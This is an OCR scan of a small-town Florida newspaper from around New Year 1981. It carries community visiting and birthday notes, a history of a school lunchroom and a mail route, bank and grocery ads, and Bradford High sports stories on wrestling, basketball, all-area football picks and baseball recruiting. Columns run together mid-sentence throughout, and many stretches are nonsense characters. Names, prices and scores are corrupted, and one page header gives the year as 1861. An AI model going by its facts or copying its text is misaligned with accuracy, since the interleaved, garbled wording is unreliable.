parent could producefive Brooker Church some of the thirty' in number Horace Gann of Starke. All of their cents per child per meal. After all 74 2,000 mile route pieces at of Brooker.mail per day over a Lloyd Woods. Jeff, Craig's oldest son Lottie Moon offering is still neededto celebrating there, everyone was hap relatives and friends were glad they some families consisted of from 6 to 8 When Douglas started deliveringmail is residing with his grandparents and meet our goal for Foreign Missions.We . py with presents received. Many of could spend this time with them. children enrolled in school at .the 30 for the first 6 attends the University of Florida. will continue to accept your offering ) - ago years their family stayed on for the time.A the roads years and the route Mr. and Mrs. J.T. Sowells visited thru Sunday Jan. 4. Your were unpaved weekend. On Saturday they all en- VisitorsMr. called meeting went out to all Mr. and Mrs. Carl Weeks in Quitman, cooperation is deeply appreciated. was 45 miles long. As time went along joyed another family reunion at the and Mrs. Cecil Mattheus enter parents to meet at the school for a the roads were paved and Douglas Ga. Christmas Eve. Revival services will be held! home of Mr. and Mrs. Theron Hunterin tained many relatives'during the discussion of their views. of the pro- route was increased to 74 miles Mr. and Mrs. David McLean and Wednesday, Jan. 21 1 thru Saturday Keystone Heights, where they hada Christmas holidays. Among those gram. When he mail per sons of West Palm Beach are visiting Jan. 24 at the Air Park Baptist Churchin delicious steak dinner. visiting were their son. Glen Mat- The agent spoke about the advan- post day. cards sold began for delivering one cent and her parents, the Bob Nails, for a few Starke with Brother Ben Bryant theus of Folkston, Ga. Their granddaughter tages of the program, of sanitation days. guest speaker. Brother Lacy Conway five cents stamps were compared: to December Birthdays Pam Lanier and her fiance, conditions involved and being able to todays' 10 and 15 cents.In Mr. and Mrs. Philip Vallenga and extends an invitation to all to come: Leslie McKinney celebrated her Scott Wilson of West Palm Beach, serve a hot, nutritional meal to the addition to postal service daughter Joy were the Christmas and worship with them.Have . were overnight guests. Mr. and Mrs.. guests of his mother Mrs. William 12th birthday on Dec. 18. students. The federal government Douglas has a farm and raises Sidney Dell celebrated his birthday Ralph Langfora and family of Fer- would ship in staple goods for the program livestock Vellenga in St. Petersburg.Cdr. . a project he will continue to Dec. 21.DDnald. nandina Beach also visited them. On and this could be subsidized by & Mrs. E.F. Hilderbrant of after he Monday their daughter and son-in-, pursue retires. Cape Coral, Cdr. & Mrs. Charles R. Smith, Jr. turned eight on purchasing fresh vegetables from The son of Iva Douglas and the late Dec. 22.Sean Jaw of West Palm Beach spent some area farmers. The workers would be Moore III, daughter Jennifer and son Smith celebrated his 11th birthday time with them. Besides the delicious paid out of monies received for the Ii V -If" .::. ...n -, I A.. FI ""1/1 I on Dec. 24. food and hospitality, they all enjoyed lunches. Virginia was convinced the On Christmas Day Audrey Ford a yard full of Christmas decorations,, program was a good one. She believedso was 5 years old.Cassandra including the Nativity Scene,Santa on strongly that she proposed that the -1 Fisher was 10 years old the housetop, elves and other festive program be given a chance. Since v Dec. 26.Ann lights and scenery. Other visitors on there were two months of school left Carol Roberts was 6 on Dec. 28. Sunday were Mrs. Ruby Mattheus, in the year, she would prepare and P/ On Dec. 28'' Lonnie Custer daughters I. and grandchildren serve the meals at no charge for her celebrated his 7th birthday. numbering 11, from Chiefland. All service. , had a marvelous time! Finally an'agreement was reached Visit and the lunchroom became a reality. le I, Mr and Mrs. Lonnie Melton visited Sunday visitors of the Paul Meng The school library was stripped of ': her mother, Mrs. Rose Parsons in and Francis Meng families were their books (which were stored at the end IIh Starke on Saturday. They had a pre cousins;Jim Meng and children,Tim, of the stage in a small room), folding 1 J birthday celebration for her at the Mark, Marianne and Emma Lou of tables, chairs, sinks, storage, stoves, home of Mr. and Mrs. Otis Melton. Tipton, Indiana. They were enroute to etc. were installed. Virginia was 1.| Mrs. Parsons' 93rd birthday occurredon Pensacola after having enjoyed ready to serve lunch. Dec. 29! so other family members Busch Gardens, Disney World, Sea She well remembers the first meal- helped ,celebrated with a decorated World and St. Augustine. Since they green beams,boiled potatoes seasoned cake and other refreshments. Among left zero weather in Tipton they were with lard bread and butter, and jello n others attending the celebration were not too disappointed inthe glum with fruit cocktail. The breads were Mrs. Katie Thomas and daughters, weather Florida( experienced during homemade cornbread or biscuits, not \ Judy and Katie Ann, and Mr.and their trip. the light breads> of today. In to take off to Zooming an exadvenf - Mrs. Irvin McConaghy and children Fresh vegetables were purchased you . .. lof inesviHe.. '# ,. "%?! 'i1' a a .. locally String beans,'green peas <* ''i t : !tlnJl uraTpf 36MM.up ; new a good i MP. ands: Mrs.'.. JffipUape \ Collins? Mrs. Paul Meng and Mr. and Mrs potatoes at 25 to 30 cents per bushel \t l ;' ,r. ,, tlrt- ejxporienceslI ] and I IreAjnfcd I fouHiayisW I hmne 'theIr! y tl&ughter J oJ< WCTg and a\I' I I Francis Holiday Meng}open, enjoyed Ho Se< r Party attending dt the the j jI I a while bit below squash today's went for prices.20 cents.. Quit! ''I ':) h'- "f H Jip.tt-ilftd{ J : ( C I I L.'' .... "7* J. Happy New Year. t. family Mr. and Mrs.' Donnie Knox, home of Mr. and Mrs. Bill Oeschger in Sugar cane syrup, fresh eggs, milkor '.' felicia and Chris of Atlanta. Joycew Starke on Saturday. a side of bacon was payment for 'i pleasantly surprised on Dec. 26, Leo>> and Virginia Defour of some of the farm childrens' meal. Mosley -Jr----..,........... ...._-..,.....,....... Oceanside Brooksville and Calif.Cheri visited Smith their of These were items that the cafeteria STARKE MOTOR PARTS would have to purchase, items that 'Dld'You Know. .... ... ,.. relatives, Mr. .and Mrs. Henry Spell were used in every day cooking. The .155 W. Brownlee St. ' and Steven, and Mrs. Viola Lefebvreon Tire CompanyU.S. Sunday. Starke, Fla. 964-6060 Henri ..Thomson! Florence, Ala. will Visit His mother Mrs. Margie ,. IIL i '.fFn'e' & Janie Ratliff 301 N. Thomson over New Years. 964660O00MONTH ' Mr. and Mrs, Robert White and amJfS T># iM Whites of Gainesville ndUMI |$fiM .*Larry) White of I I I , Crystal Lake and TVliss" Patty RQ i (L;. VllliajswAf srjhpafv ea Christmas lay guests of Mr, lilts Mrs. Olin |Vhile. uoY 9V193 t Mrs. JackTcawickspentChrlstmasfHlf May the light of .rBPI ( i:Watch da BEy nand fSmilVf, Mr: and ( your b Buddy Trawick in Lake City. the New Year " < shine bright forLM' M and rs. Stan Reddish of" ani- 'I n e i Christmas holidays pnd. you and yours. it e n for NewsYears,yith their; rfune it Mr. an 1 Mrs.' Vincent Lewis ; grow leyre dd:1iy, and Mrs t f! eShop14lhtr MONEY MARKET CERTIFICATE al St; . l endredspChristmasand i ' O( fcrGift l .1 SXlC' Items Reduced, ." 1201 r 4 : .. , oaMorgan's per annum Best wishes for / , the best New Year. '. ,\.i. $500 minimum. Now available for a limited time. Charley E. Johns' ; f Beauty Stop -1 ,j. or Agency r f.", : 1209 N. Temple Ave. .12 748. 131 S; walnut street Effectiveannual Starke 964.7004 yield . "i,';' b-- '; ! ( w 1. 6-MONTH MONEY MARKET CERTIFICATE I t .... .. ... : -,, I i:, :''f..Oft I ;{11M.. :: l Hly.. h. ... I II , r ; .f'U. ; : ; ,; ;:: i I l ;:; ,, r.i. ; // .. >. .\;: :iiit 13.661 % i I \ \J: ; .' \. : '.;: , it .. /. : .: ( c..r\j'I'.F.)::1)? : I R.Afr'I'\,) :; : \ !t tB''ri per annum : .: .:;: .: .:t; :. ;:, ;':t: : ; t.; .. t.i:: ) ,,' ;) .... ., ... / ?iV;:; t t.H'J I J i '3'Br.lf; rB ti Vf'.M: {: ," ') $10.000 minimum. Available Friday " 2 1, : : ,:.. .< ..:; } ',; ::: :.; .':::;:,.;.; .h.?' \\/i}:;:;":'}"'} {iii;;: ;) : & ; ;. i..C;';;;.. .:- !l., ,Automatically January through renewed Wednesday.at the rote January in effect 7. 3! HAPPY ,' ..: ..':: :,.'. "'B. :.''To"'w'.n..t'ous ':.;! :;:B''J't' : ll'S-: ; ;:i. :'.:'. . : , ..... .....'.fLO".. .. ..". ...t.. ..,.. .. .. '.!. .I .,," .'1 ".. .,, "-""I'" :(.1. at maturity . NEW YEAR '. ', '. ., '<. ..:', \;.., ',<,;' ,::':t' ,::.:. ;];{i.i.Xiti' ; :!';. "ji"'J ;'I< oviicprihMoney ; Best of everythingto !1\''f." '' ... .''.:..,...'.'........r. ,...A'N's.. .... ."." :."AlSd'4fi.A.y.o.,.. ...I.'.'"1.1.: ..:, .;;.. '".,.fi'...,.\'!..."'.,i'l'. Sunshine one Electrical and all. !(. {. ". [i I "I.mp, I' .""HL" I frt e $: '.. I'! FORTUNE FEDERAL= I i {: .' .. : .i. >' '; ; :"J""' :": '"": '""::' :. ..i I Savings and Loan Association : : , & \ ':' : :' ,. '.. Formerly Guoronry Federal Gainesville/ i: Plumbing supply Co. '.. ':.9..6.ri8'; ..5" ';. ...; .'. StartfeAlso . ': '393 W Modlson, Starke { I. . : ' \ i : ... .. .... .. ; . me* 27 fI1.t\dlyolflces In Florida iJ 304. E. call St. Starke '| I l Repairs i ;andRemodeting{ I I, I I. a I" ..... ' - j-t --, . l .. .. .. .. --- ........ . . __--= ,1>1.1. .- ". ...... ..-. -.... .- '... -. ... .. -_-_ .. ... .. ..... .. .. ..-...."...-.. ,.. .-. .. .,. "! .....--.' .. .. --" ... I ..,. . .,.. ..... .......-.... -. .....-.. .. ...... ....._, -_. ,--- .. ." -.. .--.-,,-.----. - ,"..... '. ....... Ii! .. .. '. ,.'''''.. ... ... .. ." ,l> " , ,I .. .. . Page 6A TELEGRAPH January 1, 1861 ;, ..r W.... ,, '* .,' 'f I .1' ,. '.. > "' .".. AN/NI t p I" '. ' ,-;] jl r;] .@, 1 \lf' SINCE 1879. f ""l'1t... ; Inside...' BHgBnskotball'ttOellPaetendFuture.eeepg.9A' - eV L.JW: LJ c,; We e-grap... Check Out tde Skiing Chicken... on pg. 14A t I I't I'I ' .., Tornado Athletes y" t\ : I : ) i i,4I Ittan Bring in New YearBradford I ,. High School winter athletic teams will be trying to leave a combined I __ ...17 start behind as they enter the new year with hopes of better tidings. 1WI v The Tornado crimson will be back in action Tuesday night, Dec. 6,as the Tornado e wrestlers host Ocala Vanguard and the Lady Tornado basketballers go to Gainesville to test the Purple Hurricanes of GHS. 7 The wrestling match the first at home for the 0-2 Tornado grapplers opens at . 8:30: p.m. with JV matchups. The wrestlers go to( Green Cove Springs against ' always-tough Clay Wednesday night.Jan. 7. Match-time there Is 7 p.m. t'\W The girls basketball game In Gainesville Tuesday is set for 7 pm. The _ Tornadoes, the only BIIS winter squad to break even before the Christmas brew ' (with its 4-4 mark), were disappointed by GUS 40-39 on a last-second basket earlier this season in Starke. The Bradford girls also visit Santa Fe Monday,Jan. 12, at 6:30 p.m., before returning home against district leader Buchholz and its : :1t 6-2 center Tammy Jackson for a 7 p.m. game Thursday Jan. 15. % Bradford's Tornado boys, both varsity and JV, have off until Friday Jan. 9, when they go to Live Oak for a 8:30: 8 p.m. doubleheader. Live Oak's varsity is 10-0 at presstlme while BHS will bring in an 0-7 record.The Tornado; JV(0-4) also will be looking for a first win. The Biggest Wrestler BoostersThe The basketball hardest working fans of the Bradford High wrestling team' are the boys squads go to Eastside Tuesday Jan. 13, before coming back home for a doubleheader against Baker County Friday, Jan. 16. Wrestleretteg. a group of BHS girls who do everything from scrubbing down the practice mats to screaming their support for the Tornado at matches. The BUS weightlifters get the official start to their season Wednesday,Jan. it' The 1980-81 WrcBtleretes are: front row. left to right, Robin Lyons Connie r when Jacksonville Englewood comes to town for a 3 p.m. meet after school. Kane, and Joy Nugent. Back row, left to right, Jane Saucer and Ella Mann. lbw' ---- I II ". ..: .... 4 " . .7 I.- . .. : :" --, ' ... ,. -,..,; ,,.,": ;- - .' _ .. .41o.. . # - . l- '_u ;J.Jlf.-..;... ....#. 1 Jordan and 'lifters _ Will Host EnglewoodMike '. Jordan here completing a clean-and-Jerk lift and the rest of the Tornado __ weightlifters will next sec action Wednesday Jan. 14, In a home meet against __ Englewood. EVERYTHING WE SELL HAS A Ii MONEY I B I EATll'ta ALL OR PClRP0811 COOKINa 1' c r II GUARANTEE BACK I a APPLES 1 ''i ..........1 I IINnHI R RNs i SUPER LB' SUPER. 3 BAG olscoU T I Kevin Reddish Buddy , WI9'' ' All-Area Choice i LB6flC Collings : ,O: (O F ;.: ,. I 4 11.II Atr r-: ride. err' .' .- ,', tZ rSl"w,+ LB 'i" .- 4AD'.""& { ot.' In .-u.. "- r OflYC I1 ,. . PANTRY PRIDE : ;a.-..;. ,' '' .''K' Sports Editor , IfII : COFFEE : ._ ......................... '"""" ,' "' REO. DRIP OH B P. : AVB IP SAYS!7IM L. BAVC I I'A 8i U.S.I'tO. 1 Linebacker-noseguard Kevin Reddish, the senior who had to plug most of the 10 La BAa U.S.OR EXFANCYRED OOLOEN PIIR POaI'tD WESTERN PER F< |alp| ,, holes in what was otherwise an inexperienced and up-and-down Tornado defense BAKINGPOTATOES - t was.*..A ALT named to the Gainesville Sun's first team. All Area club as a_noseguard last. .:. BAG 1 LB $159.: $1 i?8 DELICIOUSAPPLES 38 ANJOU PEARS 48<: j _ _ The 5-9 175 pounder was far and _. 1:d'i'iaq .. ..... ....,, ...:.:. the 't a .VII..U'O.D.'L' RAVB'0' PACKED FRESH DAILY AVE i0. FLORIDA JttlCB! ." .." . away leading tackier for 3-7 BUS NI.OOTNCOUPON rIa.i.lif'fl. while pulling double-duty as an offen- 'kTJtt. ..AIM/:"" : coupon WITH I A .JAN.?,90 OR none rooojyaatfHOUHOCO. Asstd. Greens .98 Slaw or 'Salad. BAQ 84O Oranges 1 Iii.. 12i'1b1CJ\ > sive guard much of the time. ,. ORDER.TOBACCO PBODUf TB jAY!!20'A L.COUNTRY STAND AVB 10*.PREBH PLORIDA 8AVB!20. ENDIVE. lOMAirtB I the Named two senior to the members Sun's second of the team Tornado were : l :........,,, iW'ssl4tltr"e. Mushrooms .. u*l5 Gr pefrult'oI.f": fj6/$1 Escarole.1tar; : .I: $ backfield -- quarterback Bill Goodgeand -- .c I ' fullback ;Mike Jordan -- along with , nW uuwlw offensive linemen Bruce Kehberg I1MI!!! KINQ'SlzLA1 i..- aAnoo+oe (junior) and lUcky riffis (senior). LOW PRICE Named to the honorable mention list BREAD r U KaispY I D despite missing most of the season's second ,. -W LIBBY'S HORMEL half was junior noseguard Kenny 2 + CUT OK FRENCH r 9zooR Wright. Also making the honorable SUNSHINE CHILI lys QREEN BEANS, tl s svAa mention list from BHS were defensive SALTINES RBQ.OR HOT + a backs Kenny Etheridge (senior) and LOAVES CUAM''''.VMOU lUUNIBt 15oaCAft'" -4 Brian Thomas (junior). SA\\ao\ + ,"+ ISos PKQ. CORN or PEAS 1x I sAVEEo' The All Area team was made up of KoxCAN I-., I top players from the Sun's 69' coveragearea 6 9 I I IJ" outside of Alachua +fYiflt3qtA ( County which (: had its own All County star squad),with "" r. .I SAVE 2O* I 3YOC1gRCHOIC.; I ) tv-0".asp a I BHS the only class AAA school included I . among the AA and A all stars. AVE!...I PAS pVir i'.lnd'! -II'., ._ SAVE 'Q 1" .. .' nr Muffins 2 ",,<.. +,. 3/t( j .....1 ) '* '. Football Statewide... AVB !.'.S PAK PANTRY.1I1 }I otmTOtfBw- '4 6 Kevl..lteddlshIlurrlcanes SAVE aa IOO CT.PAKTKT Pains SAY!a0.e.OC WI IIPRAYCranberry Ga'nesville High School's Purple Muffins ) .t,. 'G }. .1,,, Tea I39 STSIBAVB :'L. ;-139 and I'disacola Tate used .. Bags '' , MVI!200.70a.COUNTRY' MUIRE ? ", . power football to steamroll to state titles a couple of weekends back. AVB 7O. I*M BIG TATE SO* ._OCEAN BPIIAY Gainesville's smothering defense held vaunted Titusvllle Wheat Bread w.2B8tAVB : .5 ** + Jul *!39v to 52 yards rushing Instant Potatoes $. Grapefruit ?y l. , while grinding out 235 itself in a 21-10 win for the AAA title in Titusvtlle. ao. ta PAK PAHTHY ,2179ie'" lAva so,aao*PII1' > .'h AM'SI'.a.V HurKinriACkibiTRAi.x'... HIIS Head Coach David Nurse was on hand and said huge Gainesville(( which Dinner Rolls., : mj 9". ' ... Coffee Creamer. ;j? ncake Mix .1.890 ended .1) manhandled Titusville ((13-2) "just like they've done( everybody else. "* 1 N SAY!.00.too*ooioen tor ' Their defense was just too doggone tough. Titusville was never really in the -y ,RAp. : S EVERYbAY ballgame." Apple Pie. . ggCAppian PIZZA.5Ef Syrup.aloE Way ( ) .Waflleara .- 89C :1 .. Tate (14-1 won even more impressively, crushing!Miami Columbus (13-2) 35-7 SAYS 1O*. 13: PAK AMT. UIKCHEOIt j AVB:a*'' IO CT.PANTRY PRIDB .."L.l*._'...........-_. " by rolling up 348 yards on the grouhd. Hard Rolls. .'89 $ * .' 99 . Wakulla <12-11 had Trash Can Liner. aSpaghptUSauces.99 KECXILAROR won the AA Florida title and Belle Glades Day (13-0)) was : WITH i the class A champ. *TO3Bi MARSHMALLOWS M Bulldogs Are Talking to Clark MAYONNAISE 12 COUNT University of Georgia baseball coach Steve Webber'al1d an assistant coach stopped off in Starke last Monday to take a look at Bradford High's Kenny Clark a a MFM I during an informal practice session at BUS., " While Clark and teamates Randy Parado. Scott Allen Bill Goodge, and Brian I $119 Thomas took infield practice and hit in the drizzly weather Webber watched and g 9 4C 88AVB iCO&ftIlIllC with dad Clark. . chatted Kenny's Tommy >> I ,. "He followed the Clarks home (to Hampton and talked more about Kenny 320:1: 1C ANS, . signing down there so apparently he's real interested," said Tornado Baseball SA"U' SAVE 20. ue.a Coach Mike Hartley an ex-Gator baseball player who Is mapping out Kenny's lul exposure to college and pro baseball scouts. 'It turned out real good I think. Ken- !...I U ELBOW 1uovei"unn CIVUUM Mtv=- AVB as.air JOAK Of ARC UOHT OR DARK IlAva 1a...VIOO Rv7AMacaroni..289 ny didn't hit the ball all that well but they were still impressed.I think they were *zf/*r'" Ginger AleD..3/1 Kidney Beans 3/l Yellow Rice ., .41 :n-:: looking more for the way he swung the bat and handled himself than how he . SAVE IO"-oar AVB 10"Y.Yea BEEF OR!HAM*PEA SAVE ak_aEtna AVB 3r.MY.DBW.DIET PEPU OK Swell CUKE suet OH !t"A''( made Hitting contact.wasn't an easy task what with the batting machine being knocked out Grape Jelly. .93 .!<<1 PepsICola..m19 Soup Starter. .9.9c Hamburger Dill. .59* :u:} of the box early by an electrical short. "Nobody had thrown any live batting AVB ia4M FRUIT SAVE!."ao COUNT: ,SAYS$O.!_ABN S MUUMWM SAVE*o>.IBMCarpet T.BI practice and the balls were wet," Hartley said. "Nobody could throw strikes. Punch . .. 97 Sl" Bounce FA. K *OFnriB. ifiyAVB Oven Cleaner. ,99 Scent. ''. .99 )7 ' Still the 'Dog coach (who was an assistant at UP before taking over the AVB S-2S.AUMINOM ,to* IB ox. 3 Mm. Brand IMM or .a to.rr,.AM'T.DBUOIM cou IlAVII 10*.MM _ ) praised the BHS talent."He(Webber) said we had a real good Georgia program . nucleus of the guys there and some fine talent." Foil . .. 4540 so. Old Fa8hio.e. Oats 69 Bounty Towels .88 Mandarin Oranges49 i ' ' . ':i: Odds Speaking and of Ends Coach..Hartley he and wife Donna brought a new boy into the APPLE 8LICEn HALVES SUNSHINE :.;5: : s F' : :t5; I world this weekend Will Clayton Hartley Just the Christmas present Mike and JUICE CHEEZITSlOos I t Donna wanted... .MPEACHES REy"NOLD' 4 .. ..Richard Smith the BHS record-holder in the half-mile, will SCIOn open his col- : I legiate running career with JUCO power Seminole Community College. !! $ I19: 'I i 59*: ALUMINUM FOIL Seminole opens its indoor track (Richard's first shot at that game) season Fri ISM 73 SO. FT. ECONOMY MOLL.TH :,1 day. Jan. 16, at the University of Florida's spanking new O'Connell Center. 64ca. CAM PKO.. I THI. cexipon oooo ---.eo The 600 may be Richard's indoor race for distance-deep Seminole.though he's SAVB2O SAVE.14 0 aura 10*' THRU weo,jr.T.15.1.A . gearing for the outdoor SCO meters. In time trials a couple of weeks back the ...... .......>. q: former( Tornado got under the 1:14: national JUCO meet qualifying standard for the 600... s. ...The boys and girls track teams at BIIS met before Christmas, on Dec. 18, to talk about the coming season, with practice starting after (tie break. Coaches SWITCH TO PANTRY PitlCffi5TAJX the Rick new Stevens girls and coach.Cole Chllders will direct the boys team while Buddy Revels is for more Odds 61 Ends lee PI.st" 320 SOUTH WALNUT STREH.110. tt . - fc .. .. . ,, .. .,. .. ,' ..' -.- .-.-, -, ..... -..-... -- -,- _- -- ..-..- -...-- .. .. :- ,r..:: .t..r. .rf ", : .'::.I-I--A-:'; ;;: ; .r"M ; ;;;, :: ::. :::. _.;; . f. :',',.". '\ !w"I ,.'"''. r... _. "' .,...., r'.._.. _. _' V .. .. ?-_- trr)'"' l .. J l II ...,,.,..,,., w.. _-----. 'ofI .. - , I V r .. '. ,,7''. .'''....,.,,''fl' .... , J. It- ". ... ." '10'" 'y' '" , ,'4" ""s Plr. : S ,.I" J:';."< rl"I, : .,'.\' '<.:>: ' January I. 1881 LEGILVtI .' Pal&t'\ , I _.. -.i.. __ .... !L-2 IM Tourney h Kenny. .. ,. ..., J ... .... ,... ,,". .'" ,. .,, .. ".'It. .. .... t A ,, \ '" , ; if" '. It''. P'. ... ., ... .'" \ '" ,f, ..' I "' .1' ", .! 1',' ; \'{!l.N.it.f;! I '. \ ;.. '. ''",.'D"I' d",. I.,', I' tC 14 Y -1. SMB'1" ->, , .No 'Qinstmas Basketball Joy for BBS - "1 can see some light ahead," says from outside,deadly accurate from 29 the first period, lost the second period tage In the first period and maintained - Coach Mike Sexton after his 0-7 and 25 feet out the entire width of the 15-0, the third 30-4 and the fourth that margin. It was 12-12 in the se- basketballers were bombed In'the court. 2712. BK had Its second string in after cond quarter, BHS lost the third Bishop Kenny Christ mas Tournament Class 4A Ribault, by far the tallest the first period. period 17-15 but won the fourth 1716. but the head Tornado saw some im. and fastest and with a bench it could Only bright spot for BHS was the Play-maker guard Mack Morelandled provement."We draw from without giving up either 4-for-7 shooting performance of guard all scoring with 26 points and 6-3 settled down some, We stayed speed or talent, won the tournament Todd Jackson who got into the game center Claude Barrington added 12 r more with our game and shot better,* easily.'Bishop Kenny is a smart ball in the second half and tied Eddie points to lead Paxon. Sexton''' said of the Tornadoes' 59-50( club with good shooters but withoutthe Thompins, 2-for-9, for the BUS scor.Ing Bradford got balanced scoring, defeat by Paxon in the consolation, speed or depth of Ribault. lead at 8 points. Jackson handled which pleased Coach Sexton, when game. BUS lost 94-31 to host Bishop Ribault is 8-0 after the tourney the ball without turning it over and Eddie Thompkins, Den Tankard, Kenny and Ribault bombed Paxon 'championship.( BK Is 7.1.BK9IBITS31. earned himself a starting spot Tuesday Kerry Fisher,and Todd Jackson each It 89-35 in the preliminaries Monday night. Starting guard on the JV scored 10 points. The Tornadoes shot / night, Dec 22: last year Jackson has been out with. a better,hitting 9 of 26, or 34 percent, of Ribault won the tourney by beating The Tornado five hit on just 12 of 68 broken hand. their field goal attempts in the first host Bishop( Kenny 7262. Ribault led baskets, 17.6 percent In the opening Coach Sexton started his three half and 11 of 44, or 25 percent, in the - by 16 points in the first half using a 94-311088 to host Bishop Kenny. "big" men against Bishop Kenny. second half. _ run and gun offense that Bishop Ken The was over four minutesold They responded with 21 rebounds but The Tornadoes were still plaguedby ny just couldn't handle. Ribault forward game only 14 points between them Eddie turnovers against Paxon, Coach and Bradford down lM( > Eric! Thomas and guard\ Paris before Ben was Thompkins led the rebounding for Sexton started Jackson at point guard r Drain would simply pull up and shoot jumper.Bradford Tankard down hIt( a'21-6 two-foot after BHS with 8, Kevin Howe had, 7 and along with Tankard Thompkins, was Ben Tankard 6. Fisher, and Steve Marks in the second -.M.r4/ 4 r m11-II game., .!.>..._ II I* M 9f 0 Minstill > Tankard led BHS with 18 rebounds. Thwnpklm! !.*... T.nk-rd ...-t. Mm* CHRIST LUTHERAN l-4, NifcOT....*. _.... ......w...,..0.II 0,tmitr. Thompkins, who was stepped on and '.'41, Wlnktor" '*1. teckM*...,Wllllwoi 14'S, Ml left the game in the final minutes with 00., _.. F00. '_,I. II-7-JI.. foot and Fisher each had 'CHURCH .......l Kwwyi .f>n4l...r fr.M, GAIN ,..... 1.4h an injured , -4-I4, Mwp ..,.,. fchuclin .-..... ttoiMritof -, ....... 12 rebounds. 1-.2:1.: Kick I,.1. C.bcM *..*. ,..... "We settled down, stayed more 112. Pastor .Glen Schmiegd 473241'9"Church .....N. with our game plan," said a more M Paxon 59 BUS 50 pleased Coach Sexton.O..dhd k ') TVtt :, - Service 10:30: AM Both Bradford High and Paxon had ...... 14 4 II 111 II 17 1,10 If V been bombed badly in the opening .radtar*, Ttlompdlnl ..1.... Timlird I.o.... How. _ night's play but BHS ended last I.0-a, PI......(...... M..... ,-1-,.w...,......D.c.,., Keystone Lion's Club up 0-H. WI.kl.,1.01.' JnkMHl t-O-IO. Tefol. 12.I.(0P ? P h !d . after Paxon won the consolation ..mi Mor...... *...... Holl I..... I...... .... . game 5950. .............L.tarrlnttofl 4.4.II.Doblnun I.0-1,,Hlckl J'f' r1 l *Sunday School and Bible School B..um.d- 9 AM Paxon Jumped out to a 14-6 advan- Iii. Milton' 0-4. Tcto*.,.1.19. .III" RDC'.r..,...- ., .... ........... ........__..."._."."."_,,,o.......ks..0p'IaA1lWilliams '" s Works Inside 'i x< ? ,| BUS junior Chuck Williams works close to MM V.cMt"- :IN:* le. 'Toiiado inside play wasn't nearly enough to keep host Bishop. .Kenny. .tow* pwawjiipg/ Bradfordin .HOOD'SPORE the opening round of he Crusader's Christmas TotMrney.At "" . 1.. a FLORIDA YOU CAN'T, right Is Tornado Tony Bell. .. ,- ._' -. ORANGEJUICE BUY .,BETTER o ...80 WHY ":% : ii Ii Sexton Sees Bright: Seea&d tfalf PAY MORE? .. r HALF'GAL. SUPERCARTON Coach Sexton has not given up his BHS operates. basically a 13.1 SUPER hopes that Tornado five will come offensive: set with fF-om I D16COaK ALL ITEMS 6 mice GOOD THURS., alive in the second half of the basket ' OVER 3 LB$ JAM. I THRO WED,JAN. 7. 1911.g alignments off that/. not( QUANTITY RIGHTS RESERVED.it ball season. been consist. *. *:with. ( coach Bradford( High will go to Live Oak to says. _' hat"the CLB play undefeated Suwannee High in "I'm disappointed $ that 8 8 8 9 A the first post-Christmas game on Jan. we haven't won a baiIP But the 9, then will meet tough Eastside, kids are working hard. I feel we're accomplishing LB which has lost only one or two games, some. tangs e en though .... .*.;v... BONELESS Il,-<..w+-i*- 'f 'in Gainesville on Jan. 13. we haven't won" Coach Sqxton says. . SAVE 6o-'ALB( --- y. SAVE.v ftoII. *. "" SAVE 4O ALB BOTTOM ROUND'" T ,n F{"iday.Jan. 16, Baker High of Todd Jackson, who { starling r! ,. ... ."Macclenny. comes to Starke. '" aR; "-, I tun.d'.Ii'tl .... spot with his wont in the _9'aCl's gvaaM r.... p Ix f."wl 41 BOHBIBHWUnMMtaMaOCMIIWTni V. V "I feel we're very capable of Bishop Kenny Tourna- ......AWI wl'..ii'awC'r': -- . beating Macclenny. That should be a AVB:ai*A&.II->LB TUB MR*.PlLIIIII'NIIOI'I' UC DMMT ROAST ment, is a good floor man He'll be the Beef Short<< Rlbs.i9; Vegetable '.Spread.*liaAVC Variety Pack2N.178 the starting middle point.part (of We'll the schedule hit a stretch when in I take charge guy.we've beep lacking, MV.....IV...A...UOvm..MMMO 11M U..JkA.OfWLOM CHtMtt IQ'1..pKO.ODARTp 1 Mv..a.lloai.'Q"DCO.._ think we should be very productive" Coach Sexton says. The Tornado five hasn'td" a Jake charge; man (the BeefforStew.ush OIeo.38c Meats..48c Coach Sexton 'Py Spred Chipped says. team could depend on consistently,he ..........._.... $188 . .M.<.IUv A iv own WI..i UM r I&V"RI. AVB a iao PICO. OUDBIW sueBo Mn1s'.1.6 IWGround -" "If we can stay with our offense..." notes. ( Beef. u *l** merlcanSingles '1s* Franks OSCAR MATER "168 Coach Sexton says the team has won In the 'seven', losses seine team ...,.IS A U..........__lS. .'. ,AVB a..I.M car PAHTWT PRIDE AVB'11'-aou rno.nUN. .."K.U.UKK the first halves of several games but members have seen a lot of playing 'A""A nwn..a. .noon..o.u..nu."" Spur .078"1' Sunny land ........,. I98 .* SAVE.SOTAoLBMO ." lost the offense in the second( half. time. The experience is bcjund to do 0 0. .M""" The team starts back to practice them good, Coach Sexton notes. Pick, of!the. Cllcku-118 -t" m. Wednesday, Dec. 31. "We'll work real "We've developed some depth," he .. I.ltttitl ..-. hard these next few days going backto said, naming Tankard, Tfcompkins. some of the basics. We'll try to get Fisher,Jackson, Marks, Watkins: Ed- L.YKE9%ASSORTED g back to really staying with our offensive die Winkler, Kevin Howe, and. (Isham QDCUT5KNEIP8 CENTER CUT set." Carter. OVEN' SMOKED RIB PANTRY PRIDE $1lD SON R t RoAST OR LYKES I PORK GRILLFRANKS -" '- CORNEDBEEF ...... .... more Odds & Ends from pg. 8A ', CHOPS , 4.T I:BRISKET .f.. .J MEAT a4..PACRAOI OH BEEP lZ l Hartley and his baseball team have already been,working i out as a, group.,. SAVE x : 2T03La8 ...It's a small world folks. It's not surprising that busy UK Ouiiir football; coach $188 $198j vAa'Oe Charley Pell could have a mixup in plans and have two speaking engagements on JA \j) $178. the same date, but two in Starke on the same night?. ' t w SA ". SAVE .OO The Starke Gator Quarterback flub is again billing* as the headline ti\:\;.{ I Pantry speaker for the club's ind Annual football Banquet Thursday, Jam'29, at the ::4 . SAYII7 ..ALB ; Starke Golf and Country Club.That's ': '; :, _. .tltP \" IIIIiIII A8PIJt great news for the Quarterback Club. Pell ought to be in great spirits with an B." bowl winner to brag on, but the folks at BUS are a little bit puzzled algaq"' ..._____ M d" 9ft1 they thought( Pell was penciled in to be at the Bradford High football rtunquel the .NA.'F-' ,:. ........-,........... 1 ,,,. same night. That banquet is set for 7 p.m. on the 29th at Siarlte.:11"1t'"t..r|. .'. t .AVB 40Agg I cafeteria. ' .-ICIA-:: '' ... : IuaLao .99C BUS l'ollellih\id llursc hasn't yet figured out the reason for confusion 